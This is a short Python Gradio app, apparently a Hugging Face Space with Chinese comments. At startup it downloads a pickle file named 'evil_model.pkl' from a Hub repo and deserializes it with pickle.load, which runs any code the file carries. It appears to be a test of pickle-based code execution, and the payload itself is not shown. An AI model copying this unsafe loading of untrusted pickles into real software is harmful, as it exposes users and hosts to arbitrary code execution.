import gradio as gr from huggingface_hub import hf_hub_download import pickle import os # 1) 下载并加载模型(pickle 文件) def load_pickled_object(repo_id: str, filename: str): # 如果已经下载过就不重复下载 cache_dir = os.path.join(".cache", repo_id.replace("/", "_")) os.makedirs(cache_dir, exist_ok=True) local_path = hf_hub_download( repo_id=repo_id, filename=filename, cache_dir=cache_dir, force_download=False # 如果本地已有就不重新下 ) # 反序列化 with open(local_path, "rb") as f: obj = pickle.load(f) return obj # 在 Space 启动时就加载一次 # 请替换成你自己的 repo id 和 pickle 文件名 MODEL_REPO = "szk2024/test" MODEL_FILE = "evil_model.pkl" try: model = load_pickled_object(MODEL_REPO, MODEL_FILE) except Exception as e: # 如果出错可以打印日志 print("❌ 模型加载失败:", e) model = None # 2) 定义预测函数(根据你的 pickle 对象改写) def predict(text: str): if model is None: return "模型加载失败,请检查日志" # 假设你的 pickle 对象有一个 predict 方法 try: res = model.predict([text]) return str(res) except Exception as e: return f"预测失败:{e}" # 3) 用 Gradio 搭个简单的文本接口 iface = gr.Interface( fn=predict, inputs=gr.Textbox(lines=2, placeholder="在此输入内容…"), outputs="text", title="Pickle 模型调用示例", description="从 Hugging Face Hub 下载 pickle 并反序列化后预测" ) if __name__ == "__main__": iface.launch(server_name="0.0.0.0", server_port=7860)